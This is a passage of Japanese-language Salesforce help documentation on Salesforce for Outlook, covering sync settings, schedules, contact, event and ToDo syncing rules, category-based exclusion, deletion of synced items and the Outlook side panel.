
られている

および

Outlook メール設定の
デフォルトとして
Outlook プロファイル
が設定されている

Microsoft® Outlook®とSalesforce間で取引先責任者、行動、および ToDo を同期する場
合は、任意の Outlook フォルダで項目を同期するように Salesforce for Outlookを設定
できます。
1. デスクトップでシステムトレイアイコン ( ) を右クリックして、[設定...] を

選択します。
2. [フォルダを変更]をクリックして、デフォルトのフォルダ内またはメールボッ

クスのメインフォルダ内にあるフォルダを選択または作成できます。
3. [保存] をクリックします。

関連トピック:

Salesforce for Outlook の設定およびツールへのアクセス
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Salesforce for Outlook アラートの非表示

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

同期やその他のエラーに関するシステムトレイアラートを見る必要がない場合
は非表示にできます。
システムトレイアイコン ( ) を右クリックして、[アラートを非表示] を選択し
ます。

関連トピック:

Salesforce for Outlook の設定およびツールへのアクセス

Salesforce for Outlook エラーの表示

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce for Outlook でデータの同期に問題が発生した場合、システムトレイアイ
コンがエラーアイコン ( ) に変わり、システムトレイショートカットメニュー
の上部の状況テキストにエラー数が表示されます。
これらのエラーを表示するには、システムトレイアイコンをダブルクリックす
るか、ショートカットメニューのテキストをクリックして、[Salesforce for Outlook

エラー] ダイアログボックスを開きます。エラーが特定の Outlook レコードに関連
する場合、そのレコードのリンクをクリックすると、Outlook 内でそのレコード
を編集できます。
エラーを解決した後にリストを更新するには、[再試行] をクリックします。
Salesforce for Outlook はデータを同期し、解決したすべてのエラーを削除します。

関連トピック:

Salesforce for Outlook の設定およびツールへのアクセス

Microsoft® Outlook® と Salesforce の同期の概要

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

Outlook と Salesforce での取引先責任者、行動、ToDo の重複を停止し、Salesforce for

Outlook で 2 つのシステムの同期を開始します。

必要な権限同期方向

同期する必
要がある
ユーザ権限

取引先責任者に対する「参照」、取引先
責任者の同期方向を「Salesforce から
Outlook」に設定

Salesforce から Outlook取引先責任
者

取引先責任者に対する「参照」および「編
集」、取引先に対する「参照」、取引先
責任者の同期方向を「双方向同期」に設定

双方向
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必要な権限同期方向
同期する必要が
あるユーザ権限

行動に対する「参照」および「編集」、行動および ToDo

の同期方向を「Outlook から Salesforce」に設定
Outlook から Salesforce行動および ToDo

行動に対する「参照」および「編集」、行動および ToDo

の同期方向を「Salesforce から Outlook」に設定
Salesforce から Outlook

行動に対する「参照」および「編集」、行動および ToDo

の同期方向を「双方向同期」に設定
双方向

活動に対する「複数日の行動の有効化」複数日の行動

「Salesforce の定期的な ToDo と Outlook の同期」Outlook に対するSalesforceの定期
的な ToDo

Salesforce for Outlook をダウンロードしてインストールする前に、同期する項目が Outlook フォルダに含まれてい
ることを確認してください。Outlook からSalesforceに同期している場合、同期された Outlook フォルダからレコー
ドを削除すると、Salesforce 内のレコードが削除されます。Salesforce から Outlook に同期している場合、Salesforce

からレコードを削除すると Outlook の対応するレコードが削除されます。

同期スケジュールに関する説明
Salesforce for Outlookでは、システムアクティビティに基づいて項目が同期されます。行動や ToDo は 10 分ごと、
取引先責任者は 1 時間ごとに自動的に同期されます。ただし、Salesforce for Outlook で 30 分間、キーボードまた
はマウスの操作がないことが検知されると、行動や ToDo の同期の頻度は 30 分に変更されます。操作がまった
くないまま 2 時間が経過した後は、すべての更新の頻度は 1 時間に一度に変更され、4 時間が経過した後は、
頻度は 4 時間に一度に変わります。
もちろん、必要に応じて手動による同期も可能です。システムトレイアイコン( )を右クリックして、[同期] >

[今すぐ同期] をクリックするだけで十分です。

特定のレコードを同期から除外する
同期方法に [自動] オプションを選択すると、いくつかの方法で Salesforce for Outlook との同期から特定の項目を
除外できます。
• Microsoft® Outlook® で非公開に設定した項目を同期するように選択できます。非公開項目を同期しない場合

は、Salesforce for Outlook 設定を開き、同期しない非公開項目の種別を選択解除します。
Outlook で項目を同期し、後でその項目を非公開としてマークした場合、それらの項目は Salesforce に残りま
す。ただし、対応する Salesforce 項目は、Outlook で項目を変更しても更新を受け取らなくなります。

• 特定の Outlook 項目を同期しない場合は、その項目に非公開のマークが付けられているかどうかに関係な
く、Outlook で [Salesforce と同期しない] カテゴリに割り当てます。Outlook でのカテゴリの使用についての詳
細は、Outlook ドキュメントを参照してください。

Salesforce for Outlook との取引先責任者 (連絡先) の同期
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Salesforce for Outlook との行動の同期
Salesforce for Outlook を使用した定期的な行動の同期の概要
ToDo の Salesforce for Outlook との同期
Microsoft® Outlook® と Salesforce ToDo の同期を維持します。
同期した取引先責任者の取引先の自動割り当て
Microsoft® Outlook® 項目と Salesforce の同期方法の管理
Outlook 項目を希望する方法 (同期する項目を選択、またはすべての項目を同期して同期の対象外にする項目
を選択) で Salesforce と同期するために、Outlook カテゴリを使用して取引先責任者、行動、および ToDo を管
理します。
Microsoft® Outlook® 項目と Salesforce の同期の選択
Salesforce for Outlook で [選択した Outlook 項目のみを同期する] オプションを使用して Outlook 取引先責任
者、行動、および ToDo を Salesforce と同期するよう設定されている場合は、同期する Outlook 項目を選択す
る必要があります。
Microsoft® Outlook® 項目と Salesforce の同期の回避
Salesforce for Outlook で [すべての Outlook 項目を同期する] オプションを使用して Outlook 取引先責任者、
行動、および ToDo を Salesforce と同期するように設定されている場合でも、同期しない項目を制御できま
す。

関連トピック:

Salesforce for Outlook との取引先責任者 (連絡先) の同期
Salesforce for Outlook との行動の同期
ToDo の Salesforce for Outlook との同期
私の未解決の項目

1961

デスクトップベースの Salesforce for Outlook顧客への営業



Salesforce for Outlook との取引先責任者 (連絡先) の同期

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

取引先責任者を Salesforce
から Outlook に同期する
• 取引先責任者に対する

「参照」

および

取引先責任者の同期方
向を Salesforce か
ら Outlook に設定

取引先責任者を双方向に
同期する
• 取引先責任者に対する

「参照」および「編
集」、取引先に対する
「参照」

および

取引先責任者の同期方
向を 双方向同期 に設
定

Salesforce for Outlookを使用して、重要な Outlook の連絡先と Salesforceの取引先責任
者との同期を維持できます。取引先責任者を初めて同期すると、Salesforce for Outlook

は同じメールアドレスを持つ取引先責任者が Outlook および Salesforce の両方で存
在するかどうかを確認します。一致するメールアドレスがある場合、2 つの取引
先責任者が同期します。一致がない場合、Salesforce for Outlook は名、姓、会社名
が同じ取引先責任者があるかどうかを確認します。一致がない場合、取引先責
任者が新規作成され、2 つが同期します。
Outlook 設定は、同期を設定する項目、Outlook とSalesforceのデータフローの方向、
データ競合が発生した場合の処理を定義します。Salesforce for Outlook は、システ
ム管理者が同期方向を変更できるるかどうかに応じて、次の方向で同期するよ
うに設定できます。
• Salesforce から Outlook

• 双方向同期
Salesforce for Outlookは、最大 5,000 名の取引先責任者を同期できます。一致では、
大文字と小文字は区別しません。

Salesforce から Outlook に取引先責任者を同期する

結果条件

Outlook 連絡先がSalesforce取引先責任者
に置き換えられ、これら 2 つの取引先
責任者が同期されます。

取引先責任者がすでに Outlook 内に存在
する場合

Salesforce for Outlookと Salesforce取引先責
任者が同期して、Outlook に連絡先が作
成されます。

取引先責任者が Outlook 内にまだ存在し
ない場合

Salesforce for Outlook では、Salesforce 取引
先責任者は再度同期されません。

Outlook で連絡先を削除した場合

Salesforce for Outlookで、いずれかの連絡
先が選択され、同期されます。

Outlook で複数の連絡先が一致する場合

Salesforce取引先責任者により Outlook の
連絡先が上書きされます。

Salesforce で取引先責任者を更新した場
合

更新は Outlook 連絡先には残りますが、
Salesforceとは同期されません。Salesforce

Outlook で連絡先を更新した場合

取引先責任者の次回の更新時に、
Salesforce取引先責任者により Outlook 連
絡先が上書きされます。

Outlook 連絡先も削除されます。Outlook

連絡先が削除され、Salesforce 取引先責
Salesforce 取引先責任者を削除した場合
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結果条件

任者が更新されると、連絡先が Outlook に再作成され
ます。

Salesforce と Outlook 間で取引先責任者を双方向に同期する

結果条件

取引先責任者が自動的にもう一方に作成され、2 つが
同期します。

取引先責任者が一方のみに存在する場合

1 つの取引先責任者がもう 1 つの取引先責任者に置き
換わり、レコードが同期します。Outlook 設定が Outlook

一致する取引先責任者がある場合

連絡先を優先すると指定する場合、Salesforceバージョ
ンが Outlook バージョンに置き換えられ、Salesforce を
優先すると指定している場合は、その逆になります。
いずれかのレコードに対する変更は、自動的にもう一
方のレコードにも反映されます。レコードが競合する
場合は、競合の動作設定によりどちらのレコードを優
先するかが決まります。

Outlook 連絡先のバージョンが 1 つしかなく、その連絡
先がメールアドレスを持つ場合、最後に更新された連

複数の Salesforce の取引先責任者に一致する場合

絡先など、一致の設定に基づいてその Outlook 連絡先
を Salesforce 取引先責任者と同期します。

最新の変更で両方の取引先責任者が更新されます。レ
コードが競合する場合は、競合の動作設定によりどち
らのレコードを優先するかが決まります。

取引先責任者を更新した場合

Salesforce が優先される場合、Outlook 連絡先が削除さ
れ、Outlook が優先される場合、取引先責任者が
Salesforce で再作成されます。

Salesforce取引先責任者を削除し、Outlook 連絡先を更新
した場合

Outlook が優先される場合、Salesforce取引先責任者が削
除され、Salesforceが優先される場合、連絡先が Outlook

で再作成されます。

Outlook 連絡先を削除し、Salesforce取引先責任者を更新
した場合

特定のレコードを同期から除外する
同期方法に [自動] オプションを選択すると、いくつかの方法で Salesforce for Outlook との同期から特定の項目を
除外できます。
• Microsoft® Outlook® で非公開に設定した項目を同期するように選択できます。非公開項目を同期しない場合

は、Salesforce for Outlook 設定を開き、同期しない非公開項目の種別を選択解除します。
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Outlook で項目を同期し、後でその項目を非公開としてマークした場合、それらの項目は Salesforce に残りま
す。ただし、対応する Salesforce 項目は、Outlook で項目を変更しても更新を受け取らなくなります。

• 特定の Outlook 項目を同期しない場合は、その項目に非公開のマークが付けられているかどうかに関係な
く、Outlook で [Salesforce と同期しない] カテゴリに割り当てます。Outlook でのカテゴリの使用についての詳
細は、Outlook ドキュメントを参照してください。

関連トピック:

Microsoft® Outlook® と Salesforce の同期の概要
同期した取引先責任者の解決
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Salesforce for Outlook との行動の同期

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

行動を Outlook から
Salesforce に同期する
• 行動に対する「参照」

および「編集」、行動
の同期方向を
「Outlook から
Salesforce」に設定

行動を Salesforce から
Outlook に同期する
• 行動に対する「参照」

および「編集」、行動
の同期方向を
[Salesforce から
Outlook] に設定

行動を双方向に同期する
• 行動に対する「参照」

および「編集」、行動
の同期方向を [双方向
同期] に設定

複数日の行動を同期する
• 活動に対する「複数日

の行動の有効化」

Salesforce for Outlook を使用して、Outlook および Salesforce の行動の同期を維持でき
ます。行動がSalesforceにあると、取引先責任者、取引先、商談などの関連レコー
ドに行動を割り当てることができます。また、Salesforce カレンダーから行動を
作成したり、ミーティングを要請するときに、行動を同期すると自分の空き状
況を適切に表示できます。
同期する行動

Outlook 設定は、同期を設定する項目、Outlook とSalesforceのデータフローの方
向、データ競合が発生した場合の処理を定義します。設定の行動の条件で
は、同期する行動を決定します。使用可能な条件は次のとおりです。
• 今日: 今日または今日以降終了する行動を同期します。開始時刻は、午前

12:00 です。
• 先月: 先月の初日または初日以降に終了する行動を同期します。
• 過去 N 日間: 過去 30 日間など、指定の日数の間、またはそれ以降に終

了する行動のみを同期します。
行動の更新は、行動が同期を設定した範囲外の場合、同期が停止されます。
同期すると設定した最初の日に開始する終日の行動、および行動の被招集者
は同期しません。複数日の行動は、いずれかの方向で 1 つの行動として同期
します。定期的な行動のパターンは、完全に一致する必要があります。
Salesforce for Outlookでは、開始日ではなく終了日を基準に行動の同期をとりま
す。たとえば、現在と将来の行動のみの同期をとる場合、昨日開始した 2 日
間にわたる行動も同期の対象になります。

行動を一致させる方法
行動を初めて同期するとき、それらの行動を同じ件名と日時を持つ既存の行
動とリンクさせるか、一致する行動がない場合は新しい行動を作成します。

行動を Salesforce レコードに割り当てる方法
Salesforce に行動を追加したら、[私の未解決の項目] ページまたは行動レコー
ドの [関連先]項目および [名前]項目を使用してその他のレコードに行動を
割り当てることができます。行動は、関連付けられているレコードの [活動
履歴] または [活動予定] 関連リストに追加されます。行動に必須カスタム項
目がある場合、または項目が未解決の行動リストに追加された後に活動のカ
スタム項目が必要になった場合は、変更を保存できません。

Salesforce で同期した行動を確認するユーザ
非公開としてマークされていない行動は Salesforce で自分およびロール階層内で自分より上位のユーザ、お
よび関連付けられているレコードにアクセスできるユーザに表示されます。また、カレンダーを表示する
ために、他のユーザ、個人、公開グループ、ロール、またはロール & 下位ロールに対してアクセスを許可
できます。

特定のレコードを同期から除外する
同期方法に [自動] オプションを選択すると、いくつかの方法で Salesforce for Outlook との同期から特定の項目を
除外できます。
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• Microsoft® Outlook® で非公開に設定した項目を同期するように選択できます。非公開項目を同期しない場合
は、Salesforce for Outlook 設定を開き、同期しない非公開項目の種別を選択解除します。
Outlook で項目を同期し、後でその項目を非公開としてマークした場合、それらの項目は Salesforce に残りま
す。ただし、対応する Salesforce 項目は、Outlook で項目を変更しても更新を受け取らなくなります。

• 特定の Outlook 項目を同期しない場合は、その項目に非公開のマークが付けられているかどうかに関係な
く、Outlook で [Salesforce と同期しない] カテゴリに割り当てます。Outlook でのカテゴリの使用についての詳
細は、Outlook ドキュメントを参照してください。

関連トピック:

Microsoft® Outlook® と Salesforce の同期の概要
同期した行動の解決
Salesforce for Outlook を使用した定期的な行動の同期の概要
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Salesforce for Outlook を使用した定期的な行動の同期の概要

エディション

設定に使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

定期的な行動を Outlook お
よび Salesforceとの間で同
期する
• 「定期的な行動」

および、行動に対する
「参照」と「編集」、
および行動の同期方向
が次のいずれかの方向
に設定されている

「Outlook から
Salesforce」、

Salesforce から
Outlook、または

双方向同期

定期的な行動を同期するように組織が設定されている場合、Salesforce for Outlook

を使用して Outlook と Salesforce 間で定期的な行動を同期できます。次のパターン
で、繰り返しを同期できます。
• 毎日
• 毎週
• 毎月
• 毎年
定期的な行動が Salesforce に同期されると、取引先責任者、取引先、商談などの
関連レコードに繰り返しを割り当てることができます。また、Salesforce カレン
ダーから行動を作成したり、ミーティングを要請するときに、定期的な行動を
同期すると自分の空き状況を適切に表示できます。
定期的な行動は [私の未解決の項目] ページには表示されません。代わりに、カ
レンダーの定期的な行動に直接移動して、定期的な行動を Salesforce レコードに
関連付けることができます。

Outlook と Salesforce との違いについて
定期的な行動は Outlook と Salesforce とで動作が異なります。

把握する必要のある内容対象

繰り返しに 100 回を超える行動が含まれる場合は、
Salesforce for Outlookでは Salesforceで 100 回の定期的な行動を作
成します。
100 回分の期間が経過したら、Salesforce for Outlook では、他の
グループの行動を自動的に追加して、再度、将来の行動の合
計回数が最大 100 回になるようにします。Salesforce がこれら
のグループを追加するスケジュールは、経過した行動の回
数、前回同期し日時、既存の行動を変更したかどうかによっ
て異なります。

行動の範囲

Salesforce for Outlookでは、Outlook の繰り返しパターンオプショ
ン [weekend day] はサポートされません。

毎月の行動

Salesforce for Outlookでは、毎年繰り返す行動を設定できます。
Outlook の繰り返しパターンの [繰り返す間隔]オプションに 1

毎年の行動

以外の数字を入力すると、Salesforce for Outlookでは定期的な行
動を同期しません。つまり、隔年、3 年ごとではなく、1 年
ごとの繰り返しを設定できます。
また、Salesforce for Outlookでは、Outlook の繰り返しパターンオ
プション [weekend day] はサポートされません。
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把握する必要のある内容対象

Salesforce は、24 時間を超える定期的な行動はサポートしません。24 時間を超える行動

定期的な行動の変更
定期的な行動を変更できますが、個別に変更した行動の詳細を失わないように、回避すべき内容は把握してお
く必要があります。

把握する必要のある内容変更内容

このような変更は、Salesforce では個別に変更された行動に伝搬されません。
たとえば、行動の予約時間を変更し、後で定期的な行動全体の予約時間を変更する
とします。この定期的な行動の予約時間の変更は、1 つの変更された行動には伝搬さ
れません。

Outlook での定期的な行
動

重要な変更には次への変更が含まれます。
• 予約時間
• 繰り返しパターン
• 行動の範囲
定期的な行動に重要な変更を行うと、個別に変更した行動の変更が失われます。

Salesforce では、すでに発生した開始日への変更はサポートされません。Outlook での定期的な予
定の開始日

これは、Outlook 内の重要な変更で、定期的な行動内の個別の行動に対して行ったす
べての変更がクリアされます。このような変更は Outlook には伝搬されません。Outlook

Salesforce での定期的な
行動の終了日

で終了日を変更できますが、このような重要な変更を行うと、Outlook およびSalesforce

の両方で、個々の行動に対して行ったすべての変更がクリアされます。

個々の行動 • 定期的な行動に重要な変更を行うと、それらの変更が失われる可能性がありま
す。

• ある行動を削除して、後続の行動をその場所に移動させると、Salesforce for Outlook

でSalesforceが適切に更新されません。代わりに、Outlook で削除した行動が、その
場所に移動させた行動と共に Salesforce に残ります。
たとえば、Outlook で定期的な行動を変更します。10 月 4 日の行動を削除して、10

月 5 日の行動をその場所に移動させます。Salesforce には、10 月 4 日の 2 つの行動
(削除した行動と、その場所に移動させた行動) が表示されます。10 月 5 日の行動
はありません。

• Outlook の変更は、Salesforceの変更に重要な変更が含まれているかどうかに関わら
ず、Salesforce の行動に伝搬されます。ただし、Salesforce で削除された行動は削除
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把握する必要のある内容変更内容

されたままになるため、Outlook で個別に変更された行動には置き換えられませ
ん。

関連トピック:

Microsoft® Outlook® と Salesforce の同期の概要
同期した行動の解決
Salesforce for Outlook との行動の同期

ToDo の Salesforce for Outlook との同期

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ToDo を Outlook から
Salesforce に同期する
• ToDo に対する「参

照」および「編集」、
ToDo の同期方向を
「Outlook から
Salesforce」に設定

ToDo を Salesforce から
Outlook に同期する
• ToDo に対する「参

照」および「編集」、
ToDo の同期方向を
[Salesforce から
Outlook] に設定

ToDo を双方向に同期する
• ToDo に対する「参

照」および「編集」、
行動の同期方向を [双
方向同期] に設定

Microsoft® Outlook® と Salesforce ToDo の同期を維持します。
ToDo が Salesforce にあると、取引先責任者、取引先、商談などの関連レコードに
ToDo を割り当てることができます。
同期する ToDo

Outlook 設定は、同期を設定する項目、Outlook とSalesforceのデータフローの方
向、データ競合が発生した場合の処理を定義します。構成の ToDo の条件で
は、同期する ToDo を決定します。使用可能な条件は次のとおりです。
• 今日  — 今日または今日以降に終了する ToDo を同期します。開始時刻は、

午前 12:00 です。
• 先月  — 先月の初日または初日以降に終了する ToDo のみを同期します。
• 過去 N 日間  — 過去 30 日間など、指定した日数を遡る過去の日または

それ以降に終了する ToDo (タスク) を同期します。
Salesforce for Outlook では、すべての種類の ToDo が同期されるわけではありま
せん。次の種類の ToDo は、ToDo 条件で設定された日付範囲外になるまで同
期します。
• Outlook に対する Salesforce の定期的な ToDo

• 完了した ToDo (Salesforce for Outlookで同期した後に完了とマークされた場合)

• 延期された ToDo

• 処理中の ToDo

• 未開始の ToDo

• 繰り返し ToDo (Salesforce で作成したもの)

• フォローアップフラグが設定された ToDo

• 他の人の ToDo を待機中
同期しない ToDo

• Salesforce に対する Outlook の定期的な ToDo (タスク)

• 完了した ToDo (Salesforce for Outlookで同期する前に完了とマークされた場合)
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• ToDo リストに追加されたメールまたは取引先責任者 (項目にフォローアップフラグを設定した場合)。
Outlook はこの項目を ToDo とみなしません。

ToDo を一致させる方法
ToDo を初めて同期するとき、それらの ToDo を同じ件名と期日を持つ既存の ToDo とリンクさせます。ToDo

に期日が割り当てられていない場合は、同じ件名のみを使用して ToDo とリンクさせます。
ToDo の Salesforce レコードへの割り当て方法

Salesforceに ToDo を追加したら、[私の未解決の項目] ページまたは ToDo レコードの [関連先]項目および [名
前]項目を使用してその他のレコードに ToDo を割り当てることができます。ToDo は、関連付けられている
レコードの [活動履歴] または [活動予定] 関連リストに追加されます。ToDo に必須カスタム項目がある場合、
または項目が未解決の ToDo リストに追加された後に活動のカスタム項目が必要になった場合は、変更を保
存できません。

特定のレコードを同期から除外する
同期方法に [自動] オプションを選択すると、いくつかの方法で Salesforce for Outlook との同期から特定の項目を
除外できます。
• Microsoft® Outlook® で非公開に設定した項目を同期するように選択できます。非公開項目を同期しない場合

は、Salesforce for Outlook 設定を開き、同期しない非公開項目の種別を選択解除します。
Outlook で項目を同期し、後でその項目を非公開としてマークした場合、それらの項目は Salesforce に残りま
す。ただし、対応する Salesforce 項目は、Outlook で項目を変更しても更新を受け取らなくなります。

• 特定の Outlook 項目を同期しない場合は、その項目に非公開のマークが付けられているかどうかに関係な
く、Outlook で [Salesforce と同期しない] カテゴリに割り当てます。Outlook でのカテゴリの使用についての詳
細は、Outlook ドキュメントを参照してください。

関連トピック:

Microsoft® Outlook® と Salesforce の同期の概要
同期した Outlook ToDo の解決
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同期した取引先責任者の取引先の自動割り当て

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

取引先を割り当てる
• 取引先に対する「参

照」、取引先責任者に
対する「編集」

取引先を新規作成する
• 取引先に対する「作

成」、取引先責任者に
対する「編集」

および

「簡易作成の表示」

取引先責任者を Outlook から同期すると、Salesforce for Outlookでは、それらの取引
先責任者を取引先に割り当てるように試みます。
この表は、取引先割り当てプロセスを説明したものです。

結果条件

取引先責任者がその取引先に割り当て
られます。

取引先責任者の会社が、1 つのSalesforce

取引先に一致する場合

取引先責任者が Salesforce の [私の未解
決の項目] に送信されます。[私の未解
決の項目] には、取引先責任者ホーム
ページまたはSalesforce for Outlookシステ
ムトレイアプリケーションからアクセ
スできます。このリストを使用して、
既存の取引先に取引先責任者を手動で
割り当てたり、取引先を新規作成した
り、取引先責任者が非公開であること
を確認したりすることができます。

取引先責任者の会社が、複数の
Salesforce 取引先に一致する場合、また
は一致しない場合

取引先責任者は非公開の取引先責任者
として処理され、[私の未解決の項目]

に送信されません。

取引先責任者に会社名がない場合

該当する取引先が Salesforceに見つから
ない場合は、取引先責任者がその取引

Outlook で取引先責任者の会社が変更さ
れた場合

先に割り当てられます。見つからない
場合は、解決のため取引先責任者が [私
の未解決の項目] に送信されます。

次回リストを開いたときに、取引先責
任者が [私の未解決の項目] から削除さ
れます。

未解決の取引先責任者が Outlook で削除
された場合

取引先責任者レコードが [私の未解決
の項目] で更新されます。取引先責任

未解決の取引先責任者が Outlook で変更
された場合

者の会社が変更されると、Salesforce は
取引先責任者の情報が既存の取引先と
一致するかどうかを確認し、一致した
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結果条件

場合は取引先責任者を取引先に割り当てます。

関連トピック:

Salesforce for Outlook との取引先責任者 (連絡先) の同期
同期した取引先責任者の解決
Salesforce for Outlook 設定の管理

Microsoft® Outlook® 項目と Salesforce の同期方法の管理

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

Outlook 項目を希望する方法 (同期する項目を選択、またはすべての項目を同期し
て同期の対象外にする項目を選択) でSalesforceと同期するために、Outlook カテゴ
リを使用して取引先責任者、行動、および ToDo を管理します。
Windows® システムトレイから同期設定を表示し、Outlook 項目を Salesforce と同期
する方法を管理します。
1. システムトレイで Salesforce for Outlook アイコン ( ) を右クリックします。

2. [設定] をクリックして、[次へ] をクリックします。
3. [選択した Outlook 項目のみを同期する] オプションまたは [すべての Outlook 項目を同期する] オプ

ションのどちらを使用して項目の同期が設定されているかを確認します。
• [選択した Outlook 項目のみを同期する] オプションを使用して同期が設定されていると、選択した

Outlook 項目のみが Salesforce for Outlook で同期されます。同期する項目にカテゴリ [Salesforce と同期
する] を割り当て (ページ 1973)ます。

• [すべての Outlook 項目を同期する]オプションを使用して同期が設定されていると、すべての Outlook

項目が Salesforce for Outlook で同期されます。同期の対象外にする項目にカテゴリ [Salesforce と同期
しない] を割り当て (ページ 1973)ます。

4. [キャンセル] をクリックします。
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Microsoft® Outlook® 項目と Salesforce の同期の選択

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce for Outlook で [選択した Outlook 項目のみを同期する] オプションを使
用して Outlook 取引先責任者、行動、および ToDo をSalesforceと同期するよう設定
されている場合は、同期する Outlook 項目を選択する必要があります。
1. Outlook で、同期する取引先責任者 (連絡先)、行動 (イベント)、ToDo (タスク)

を選択します。
2. Outlook リボンの [分類] をクリックします。
3. カテゴリ [Salesforce と同期する] を選択します。

分類された項目の同期は、次回の同期サイクルで開始します。

Microsoft® Outlook® 項目と Salesforce の同期の回避

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce for Outlookで [すべての Outlook 項目を同期する] オプションを使用し
て Outlook 取引先責任者、行動、および ToDo をSalesforceと同期するように設定さ
れている場合でも、同期しない項目を制御できます。
1. Outlook で、同期の対象外にする取引先責任者、行動、ToDo を選択します。
2. Outlook リボンの [分類] をクリックします。
3. カテゴリ [Salesforce と同期しない] を選択します。

分類された項目の同期は、次回の同期サイクル後に停止します。

Salesforce for Outlook で同期している項目の削除

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce と Outlook 間で
同期している項目を削除
する
• ユーザが削除するすべ

てのオブジェクトに対
する「削除」

1 つのシステムの項目を削除するだけで、Salesforce for Outlook で同期している項
目をSalesforceと Outlook の両方から削除します。定期的な ToDo や最近更新した項
目を削除する場合、特別な対応が必要です。
まず、削除する取引先責任者、行動、または ToDo の同期方向を確認します。次
に、同期元のシステムから項目を削除します。項目が両方向に同期するように
設定されている場合、どちらのシステムからでも項目を削除できます。
この結果、もう一方のシステムの対応する項目が Salesforce for Outlook によって自
動的に削除されます。

メモ: 定期的な ToDo は、Salesforce からのみ同期するため、これらの項目を
削除する前に同期方向を確認する必要はありません。定期的な ToDo は、必
ず Salesforce で削除してください。

1. 個人設定から、[クイック検索] ボックスにSalesforce for Outlookと入
力し、[私の設定を表示] をクリックします。

2. 削除する取引先責任者、行動、または (非定期的な) ToDo の同期方向の設定を
確認します。

3. 同期元のシステムで項目を削除します。
たとえば、Outlook からSalesforceに同期するように設定されている取引先責任
者を削除する場合、Outlook で取引先責任者を削除します。
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削除した項目は、次回の同期サイクルで両方のシステムから削除されます。
項目が両方のシステムから削除されていない場合、Salesforce for Outlook で削除よりも更新が優先されている状
態で、自分または別の営業担当が同じ同期サイクル内にそのレコードを更新した可能性があります。この動作
は、いずれかのユーザの Salesforce for Outlookで設定されている [競合動作]が原因で、一方のシステムの更新が
もう一方の削除よりも「優先」されている場合に発生します。この場合、両方のシステムからレコードを削除
するために、もう一度レコードを削除します。または、その項目に注意を払っている同僚がわかっている場合
は、まずはその同僚に相談することもできます。

Microsoft® Outlook® からの Salesforce レコードの表示と操作

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Outlook 設定の「サイドパネル」Outlook で Salesforce サイドパネルを表示
する

Outlook 設定の「メールを追加」

および

[Salesforce にメール] の「有効化」

Outlook のメール (添付ファイルを含む)、
行動、ToDo を Salesforce レコードに追加
する

Outlook 設定の「ユーザに添付ファイル
の選択を許可する」

特定のメール添付ファイルを Salesforce
に追加する

[活動設定] の「ユーザが複数取引先責任
者を ToDo と行動に関連付けられるよう
にする」

メール (添付ファイルを含む)、行動、
ToDo を複数の取引先責任者に追加する

Salesforce カスタマーサポートに問い合
わせる

ToDo を受け入れる複数の Salesforce レ
コードにメールを追加する

Salesforce for Outlook を使用して、重要な Outlook メールに関連する Salesforce 取引先責任者およびリードを Outlook

で直接把握します。Salesforceサイドパネルには、Outlook メール、イベント、ToDo を追加できるSalesforceレコー
ドが表示されます。
デモビデオを見る: Salesforce サイドパネルを使用した Microsoft® Outlook® のレコードの操作
Outlook の [受信箱] のメールや [カレンダー] のイベントを選択すると、Salesforce取引先責任者およびリードの詳
細を含む Salesforce サイドパネルが Outlook に直接表示されます。システム管理者が Outlook 設定でサイドパネル
を有効にすると、サイドパネルには、メールまたはイベントの [送信者]、[宛先]、および Cc 項目から最大
10 個の取引先責任者とリードが表示されます。
また、Salesforce サイドパネルには、次のような特徴があります。
• サイドパネルに表示される取引先責任者およびリードに関連する最大 4 個の活動、商談、ケースを表示す

る。
• Outlook メールとその添付ファイルを複数の Salesforce レコードに追加できる。
• Outlook のイベントおよび ToDo を、複数の取引先責任者および ToDo を関連付け可能な他の 1 つのレコード

(取引先、ケース、カスタムオブジェクトレコードなど) に追加できる。
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• 重複した取引先責任者またはリードを検出する。サイドパネルに表示する最適な取引先責任者またはリー
ドを選択する。

• サイドパネルから Salesforce のレコードを直接作成できるようになる。
• その他の Salesforce レコードを探す検索機能がある。
• Salesforce でレコードの詳細を直接表示するためのリンクがある。
サイドパネルを使用する手順は、次のとおりです。

1. Outlook のメールまたはイベントを選択します。
2. サイドパネルに表示される Salesforce コンテンツを確認します。サイドパネルには、メールまたはイベント

の [差出人]、[宛先]、および [Cc] 項目の順序に基づいて取引先責任者とリードが表示されます。取引先
責任者およびリードごとに、関連する活動、商談、ケースを簡単に表示できます。完全なレコードの詳細
を表示するには、レコードのリンクをクリックして Salesforce で直接開きます。
メールまたはイベントを任意の Salesforce レコードに追加するには、それらのレコードの横にある また
は をクリックします。特定のメール添付ファイルを選択する機能を組織で有効にしていない限り、メー
ルを Salesforce に追加するときにメール添付ファイルが自動的に含まれます。その場合は、サイドパネルで
個々の添付ファイルの横に が表示されます。アイコンをクリックすると、添付ファイルが Salesforce に
追加されます。
Salesforce で [ソーシャル取引先と取引先責任者] 機能が有効化されている場合、サイドパネルには、それら
